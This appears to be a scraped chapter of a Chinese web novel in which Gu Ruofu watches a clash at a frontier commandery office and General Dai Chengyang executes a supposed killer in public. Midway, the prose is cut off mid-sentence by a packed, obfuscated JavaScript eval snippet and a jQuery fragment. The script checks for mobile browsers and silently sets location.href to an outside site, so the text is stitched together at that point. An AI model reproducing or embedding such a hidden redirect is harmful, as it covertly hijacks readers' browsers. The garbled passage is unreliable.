第二日清晨,顾若芙才睡着不到两个时辰,外头便传来了荀潇匆匆赶来的脚步声。
“姑娘,不好了。”
荀潇的话顿时将还试图继续迷顿的顾若芙彻底惊醒了,她立即从榻上翻身坐起,急忙问道:“怎么了?有他的消息了?出什么事了吗?”
荀潇见她这副着急的模样,立即解释道:“不是肖大人,但应该跟肖大人有关。”
顾若芙皱眉道:“怎么了?”
荀潇道:“北蛮坊市的头目昨夜被杀了,头还被挂在了北蛮坊市的市口位置。”
“什么?!”顾若芙觉得无比震惊,“这可不像是他的作风。”
顾若芙实在难以想象肖鹤渊会做出这样的事,拧着眉问道:“你怎么会觉得这事跟他有关?”
“姑娘你自己看吧。”荀潇将手里的通缉令递给了顾若芙,道:“现在北蛮人的商贩都围在郡守府前,非要给个交代。”
顾若芙看着通缉令上那张熟悉的脸一时间说不出话,不管这件事是刻意陷害还是真实发生了,一时间肖鹤渊恐怕都不能再公然出现在大众面前。
顾若芙将通缉令收好,转头道:“替我梳妆,我们去郡守府看看。”
“是。”
昨日来的匆忙,顾若芙也未来得及好好的看一看这里。
涵塞城,上一世也只总在旁人口中听说,还总与文越郡主有关。
顾若芙瞧了一眼那灰蒙蒙的天,昨日来的时候就是这副黄沙蔽日的感觉,她本以为是昨日来的时间不对,可现在看来恐怕是与此处的地界有关。
顾若芙又看了看道旁的街市,虽然这些日子进了不少外地来的旅商,可上头摆着的货物依旧显得有些捉襟见肘,与富饶的陵江府和繁盛的盛京比起来简直就是天壤之别,而来来往往的路人所穿着的也都是粗布衣裳较多,头上还带着灰蒙蒙的方巾,以遮掩风沙侵入口鼻。
随着马车的不断前行,顾若芙渐渐听见了那处争执不休的喧闹。
顾若芙撩开帘子往外瞧,原本井然有序的郡守府门前此时已经被围的水泄不通,门口俱是身形魁梧的壮汉,鲜少有老弱妇孺或是瘦削的身形。
顾若芙瞧着前头的这样大的阵仗,心里倒是暗暗有了些猜想,坐在最前头的江左和荀潇二人也觉察出了一丝端倪。
荀潇:“素闻北蛮人粗犷,可也不至于出来做生意的都是这样身形魁梧,样貌凶狠的,看着便让人觉得心生畏惧,这还怎么做的成生意?”
江左也是赞同的点了点头道:“而且他们手上的茧子都像是常年经历行伍之人,不像是从商者,更像是行兵打仗的军汉。”
荀潇觉得不解,“那北蛮此时闹这一出做什么?难不成是想趁乱占领郡守府?”荀潇瞧了一眼四周,嘀咕道:“不能这么明目张胆吧。”
“先瞧瞧吧。”顾若芙瞧着门前守卫着的巡防军,将那些北蛮人抵挡在了正门之前,他们个个手里都持枪拿剑,那些北蛮人虽说动作粗鲁,眼神狠厉,但无论是腰间还是手上,全然不见有一丝利器,看着不像是前来打斗的。
可北蛮的心思早已是昭然若揭的了。
顾若芙叹了口气,“此时不会,但日后倒不好说了。北蛮长久以来本就对我朝虎视眈眈,此时突然俯首称臣以换取通商的资格,本就是一件有违常理的事情。”
顾若芙默默的注视着那一群人的动向,其中之人虽然一直都闹哄哄的在叫喊吵嚷着,可为首处的一个大汉却不是全神贯注的声讨公道,反而像是在布局些什么,偶尔往四处两侧使一些小眼神。
顾若芙顺着那乱糟糟的人群瞧,只见有一身形略显瘦小的男子从人群中溜出,借着前头人的围堵和阻碍闪身往郡守府一旁的小巷里走去。
“江左,你跟上去,瞧一瞧他们到底在装神弄鬼的想要做些什么?”顾若芙吩咐道。
江左自然也瞧到了那个悄悄从人群中退出去的人影,立即领命飞身掠了出去。
郡守府前依旧是一副闹哄哄的样子,顾若芙瞧了许久也不见有主事的人出来解决问题,一直都是那些巡防军守在门前全然一副不予接近的模样。
北蛮人也逐渐变得不耐烦。
“贵朝郡守这是什么意思?我们的人死在了你们的地界,还被这样羞辱,难道郡守大人就不准备出面解决此事?”
“莫不是觉得我们天狼部此番俯首称臣便是彻底成了孙子?连敷衍解决都不肯有了吗?”
“对,叫黛将军出来!缩在府中是什么意思?难不成是胆寒畏怯,做贼心虚?”
言论愈演愈烈,逐渐的从刚开始的求公道变成了后来的辱骂和挑衅,而门前值利器守着的巡防军脸上也逐渐染上了些许不忿和怒意。
“休要胡搅蛮缠!”
“你们这些北蛮的莽夫,不过是些在我朝手底下讨口饭吃的腌臜货色,也敢到郡守府跟前叫嚣!”
“退后!再往前就休怪我等不客气。”
两方之间的情绪都逐渐变得动荡不安,气氛也紧张了起来,而那些个原本手无寸铁的北蛮人在听到这番羞辱之言之后,便也不管不顾的立即扑了上去同巡防军开始争执,厮打起来。
巡防军手中虽持利器,但闹事者众,又都是异邦之人,虽然心中不快,但却也不能真的真刀真枪的同他们去动刀子,若是真的当众杀了人,此事便闹大了。
虽然说不惧于北蛮开战,但多年来征伐不休,好不容易有了一个休养生息的轻松时刻,谁也不愿做这个打破局面的第一人,到时成了出头鸟太过招眼,两边都是断然不可能放过自己的。
随着时间的推移,北蛮人也逐渐压制不住,已经扑上去开始争抢巡防军手中的利器,逼得他们倒是在自家门口步步后退,场面更加混乱了。
荀潇不免有些急切的问:“姑娘,是否要叫人来帮忙?”
顾若芙不免有些担忧的望了一眼郡守府依旧敞开着的大门,此时倒像是刻意开着门等着这些人往里冲似的。
顾若芙顿了片刻,摇了摇头,回身坐了回去,“静观其变吧。”
自打荣王被囚之后,涵塞城也重新派了人在此值守,而此人正是先前举证有功的荣王义子黛程阳。
顾若芙虽对他不甚了解,但倒也听说过此人的一些名声。
少年将军,有勇有谋。
即使在前世荣王屹立不倒的情况下,被刻意打压,依旧出彩到盛京威名不断,断然不会是个毫无手段之人,今日这事恐怕两方都各执心思。
郡守府门前,眼见着那伙彪形大汉快要闯进了大门,而那些个巡防军却被挤得七零八落的,甚至被赶到了外围。
荀潇不由的紧张起来,正欲出声,可下一秒第一个带头闯进太守府的人便立即横着飞了出来,伴随着一声痛苦的哀嚎,重重的坠落在了地上。
随即那些个闯入府中的人皆是这副惨状,被人以各种各样应接不暇的姿势从府门中踹了出来。
原本混乱的场景顿时变得安静起来,那些争执不休的北蛮人也被这样的阵势威慑的步步后退,而原本被挤出来的巡防军则有序的列于人群两侧,成了围困之势。
那伙北蛮人脸上神色慌乱的后退,随即一道挺拔的身形便出现在了顾若芙的余光中。
是一直不见出来主事的黛程阳。
剑簪甲胄,墨发披风,全然一副威风凛凛的大将模样。
黛程阳此时脸上带着笑,却透着几分说不清的邪性,叫人移不开眼。
而紧随着他的步伐从他身后走出来的,还有两位男子,一位身穿墨色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352113|173467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官袍,想来便是此地郡守周大人,而另一位身穿绯色官袍的男子,顾若芙倒还算是有几分眼熟,正是此番与肖鹤渊一起前来,在明处的那位巡抚大人。
“你们南朝人这是什么意思?我部商贩在你们这儿出了事情,你们不给解释倒也罢,反倒这般公然的对我们大打出手,难不成真以为我们天狼部没有一战之力是任凭你们这些人拿捏羞辱?”
北蛮人倒是极快的休整了心态,再次开始咄咄逼人起来。
“是啊,今日这事我肯定要回部族回禀给纳姌殿下,定要向你们南朝的皇帝讨个说法!”
“对,讨个公道!”
事关两国通商之举,虽说各怀鬼胎,但贸易现下才初立时期,而两边签订的买卖协议也都尚未完全交付,若是在此时中断,对南朝而言也是亏损极大,这样的事情谁也不愿意看到,谁也没法全权担保扛下此事。
可位于前方的黛程阳却是丝毫不畏,冷笑着招手,而后其身后便被押出三名被五花大绑的壮汉。
顾若芙瞧了其中一人一眼,正是方才趁乱溜走的人。
而另一边,江左也折身回来了。
顾若芙朝他投去一个询问的眼神,江左却摇了摇头,“属下还未靠近,那人便已经被门内埋伏的人按住了。”
顾若芙倒也没想打探郡守府消息,得到这样的答复倒是缓缓舒了口气。
“你们这话说的还真是可笑,昨夜你们的人自行派人将人头挂在城墙上的事情,难不成今晨便忘了?”黛程阳笑着反问,又道:“亦或是动手之人同你们没有事先透露过?”
黛程阳说着便从旁将一人提溜起来,重重的朝着底下围着的北蛮人群中扔去。
“此人便是昨夜行事之人,巡防军见其鬼祟,便一路跟随,却没想到他进了你们北蛮的坊市。”黛程阳轻嗤一声,反问道:“不知各位瞧着此人可还眼熟?”
北蛮人立即眼神躲闪,瞧着那人俱是一副欲言又止的模样,可随即定了定心,立即有人出言反驳道:“胡言乱语!这人我们概不相识,莫不是你们刻意诬陷!”
“是啊!我们部族之人怎会行此恶毒之事?分明就是你们刻意栽赃陷害!”
对于他们胡搅蛮缠的态度,黛程阳像是早有预料,丝毫不在意,挂着笑,步态从容的踱步走到那人身侧,低着头围着那人转了一圈,遂俯身蹲在他的身边,笑道:“既然如此,那你定是心怀不轨之人,刻意在挑拨两边关系,杀人栽赃。”
那人闻言立即开始剧烈挣扎,似是有什么需要脱口而出的话要解释,可偏偏口中被麻布塞住,只能呜呜咽咽的喊着。
“他既有话要说……”
北蛮人见状立即想要上前扯开他口中的麻布,可还未等他的手碰到那人,一道寒光顿时闪出,伴随着“噗呲”一声,一柄短刀出现在了那人的胸口上,鲜红温热的血液顿时喷溅而出,溅在了上前之人的脸上。
周围顿时一片噤声。
“你!你这是当众杀人灭口嘛!”
这话不禁让黛程阳的眸色一寒,冷着脸扫视了他们一圈,起身道:“本将军既然如此说了,那定是人赃俱获,诸位与其在我这里胡搅蛮缠,倒不如想想该怎么回去同你们的那位殿下解释。”
他神情冷漠的转身折返回台阶上,拔出长剑抵在了剩余两人的脖颈上,威胁道:“至于今日你们部族之人意图制造混乱,混进郡守府中,究竟意欲何为本将还有待查证,若是结果叫我不满意,本将也不介意再当众杀一次。”
北蛮人自知诸事败露,脸色一个比一个难看,脸上的杀意难以遮掩半分。
但瞧着今日的情况,只怕再闹下去只会更加难以收场。
他们只好搀起还在地上躺着昏迷不醒的几人,灰溜溜的离开此处。